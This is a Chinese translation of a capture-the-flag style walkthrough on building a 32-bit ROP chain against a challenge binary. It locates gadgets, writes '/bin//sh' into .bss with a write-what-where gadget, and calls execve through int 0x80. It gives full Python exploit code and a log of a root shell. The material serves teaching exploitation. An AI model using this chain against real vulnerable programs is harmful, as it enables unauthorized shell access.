A Simple ROP Exploit /bin/sh via syscall

为了用sys_execve syscall执行/bin/sh,需要解决一些障碍,根据参考,需要设置寄存器如下;

EAX = 11 (or 0x0B in hex) – The execve syscall number
EBX = Address in memory of the string “/bin/sh”
ECX = Address of a pointer to the string “/bin/sh”
EDX = Null (可选的指向描述环境的结构的指针)

一旦所有这些都设置好了,执行int 0x80指令应该会生成一个shell。

后面的工作

从想要的开始, 一次性链接一起解决问题, 直到已经完成了利用链, ROP exploitation的本质是解决一个问题常常引入另一个, 所以它重要, 集中和逻辑, 总是寻找不同的路线和替代解决方案。

首先需要的是放置/bin/sh字符串的地方,还需要一种方法将这个字符串写入这个选择的位置,以及一个包含指向这个位置的指针的内存地址。还需要能够向EDX写入空值(这通常是有问题的),并向EAX、EBX和ECX写入任意值。最后,需要一个int 0x80指令。

Gadgets

可以用gadget的二进制, gadget是一个有用的ret指令, ret指令是至关重要的, 因为这是允许链接多个gadgets连接到一个链, 然后执行流, 返回从一个指令。如果exploit是一条链那么每个gadget都是链中的一环。

有许多工具可以简化寻找gadget和构建ROP链的过程,但暂时不考虑这些工具,而是自己动手,以确保对整个过程有一个很好的理解。

虽然正在看的二进制文件相当小,但它包含了很多gadgets,包括一个可疑的密集指令区域,看起来就像是故意构建的。

这部分内存包含了需要的所有东西——从将数据从堆栈中弹出到EAX、EBX、ECX和EDX的gadget开始。如果控制了堆栈,那么就可以设置这些寄存器的值。

例如,从0x08048225开始的指令是pop %eax; ret,这个gadget获取堆栈顶部的任意4个字节,并将它们放入EAX寄存器,对堆栈指针加1,然后返回到下一个地址。为了使用它,将以下内容放入链中;

1
[0x08048225][<Value to put into EAX>][<Next Gadget>] ...

还有gadget xor %edx,%edx; ret — 如果不能在漏洞中发送空字节,这将非常方便,因为已经知道需要将EDX设置为0。对寄存器自身进行0. XORing是使其归零的常用方法。

接下来,就得到了一个真正强大的工具 - 在0x0804822F的gadget是 mov %eax, (%edx); ret 将获取EAX中的任何内容,并将其复制到EDX中的地址所在的内存位置,因为可以将其与前面的gadget链接起来,以控制EAX和EDX的值,这就形成了write-what-where原语。

最后,可以在0x8048210找到一个int 0x80; ret gadget

可写内存

着手将想要执行的命令的字符串写进程序的内存中。可以通过 objdump -x 找到一个合适的可写内存部分

1
2
4 .bss 0000001c 0804a000 0804a000 00001000 2**2
ALLOC

值得注意的是,这个内存位置在最不重要的位置包含一个空字节,如果需要,可以添加一个小偏移量来避免这种情况,比如0x0804A004

Exploit

这是大量的准备工作,现在可以开始编写exploit了。正如在开始时提到的,为了获得最大的可读性,布局代码非常重要,所以要做的第一件事是为所有gadget提供可读的名称,并定义一个函数address()来进行小端地址转换。

1
2
3
4
5
6
7
8
9
10
pop_eax = 0x08048225
pop_ebx = 0x08048227
pop_ecx = 0x08048229
pop_edx = 0x0804822B
zero_edx = 0x08048220
writewhatwhere = 0x0804822f
execute_syscall = 0x08048210

def address(data):
return struct.pack("&lt;L", data)

还需要设置变量来保存可写内存地址,想放在那里的字符串,要放入64字节中的填充,最后是要覆盖EBP的垃圾值。因为这不会影响利用,它是一个小细节,但它有助于安排一切有条不紊。

1
2
3
4
writable_memory=0x0804a010   # .bss section is writable
padding = " " # we'll use spaces as padding
text = "A shell\n\n\n" # Flavor text
EBPoverwrite = "AAAA" # Bytes to overwrite EBP

知道在利用缓冲区中控制了68字节的EIP,因此可以用64字节 + 4字节构建缓冲区的第一部分来覆盖EBP

1
2
buffer = text + padding * (64 - len(text))
buffer += EBPoverwrite

String Write 1

利用缓冲区中接下来的4个字节是设置EIP的第一个值,也是ROP链的开始。第一个任务是使用write-what-where函数将字符串 “/bin/sh” 放入内存,作为syscall的参数1,第一步是将要写入的值放入EAX。

1
2
buffer += address(pop_eax) # place value into EAX
buffer += "/bin" # 4 bytes at a time

当执行pop EAX gadget时,ESP将指向下一个4字节的字,即对应于ascii字符串 “/bin” 的字节。
下一步是使用pop edx gadget将想要写入的地址放入edx中

1
2
buffer += address(pop_edx)         # place value into edx
buffer += address(writable_memory)

在这里使用address函数将字节重新排序为小的端序,因为两者都是内存地址。
最后,调用 mov %eax, (%edx) gadget来写内存

1
buffer += address(writewhatwhere)

String Write 2

现在重复这个过程,将字符串的下一个4个字节写入内存。从技术上讲,只剩下3个字节可以写入,但可以稍微作弊一下,因为多个/字符会被execve忽略。写 “//sh” 需要更新EDX以添加 +4 偏移量,并更改EAX中的值。

1
2
3
4
5
buffer += address(pop_eax)
buffer += "//sh"
buffer += address(pop_edx)
buffer += address(writable_memory + 4)
buffer += address(writewhatwhere)

字符串需要以空结束,在这里写入的内存被初始化为0,所以在这种情况下不需要担心,但它值得记住。

Address Write

现在需要的字符串在内存中,还需要向内存中写入指向它的指针。这是write-what-where原语的另一种用法。注意,写的偏移量是+12而不是+8,因为需要null结束字符串,不能把指针写在它旁边,需要有一个小的间隙。

1
2
3
4
5
6
# write the address containing /bin/sh string into memory
buffer += address(pop_eax)
buffer += address(writable_memory)
buffer += address(pop_edx)
buffer += address(writable_memory + 12)
buffer += address(writewhatwhere)

Zero EDX

需要的第三个参数存储在EDX中,应该是0x00000000。可以使用pop_edx gadget将空值移动到寄存器中,在这种情况下,这很好,因为可以在exploit中写入空值。或者,可以使用 xor %edx, %edx gadget,这是一种更通用的方法,因为0x00经常是一个坏字符。现在已经完成了write-what-where的使用,不再需要它了,所以是时候将它归零了。

1
buffer += address(zero_edx)

设置寄存器

现在是为syscall准备EBX和ECX的时候了,这是很容易做到的,因为两者都是内存位置;

1
2
3
4
5
buffer += address(pop_ebx)
buffer += address(writable_memory) # location of string /bin/sh

buffer += address(pop_ecx)
buffer += address(writable_memory + 12) # address of pointer to /bin/sh

最后一个参数是需要放入EAX中的syscall number。同样,0x0000000B包含空字节,这可能导致一些问题是利用。可能有必要(例如)将寄存器置零,并将其增加到11,以避免坏字符,或其他一些更迂回的设置寄存器的方法。

1
2
buffer += address(pop_eax)
buffer += struct.pack("<I", 0x0000000B)

Execve Syscall

现在该执行执行syscall了。现在正确设置了call的所有参数,这非常简单。还在这里完成了exploit,打印正在构建的缓冲区的内容。

1
2
buffer += address(execute_syscall)
print(buffer)

运行exploit

在测试中,可以看到shell按照预期创建,但是当主机程序关闭时,它会立即关闭。这带来了一些问题,直到一个朋友指出,这是一个众所周知的常见问题,很容易通过使用cat保持输入管道打开来解决;

1
2
3
4
5
6
7
root@kali:~# python exploit.py > exploit
root@kali:~# (cat exploit; cat) | ./binary_challenge
Show me what you’ve got
:>You’ve got: A shell
AAAA%�/bin+�
id
uid=0(root) gid=0(root) groups=0(root)

好了,一个适用于简单缓冲区溢出的ROP exploit。这是一个很有趣的挑战,在完成它的过程中学到了很多。希望本walkthrough对您的学习有用,并/或有趣。

参考链接(译)

  • A Simple ROP Exploit – /bin/sh via syscall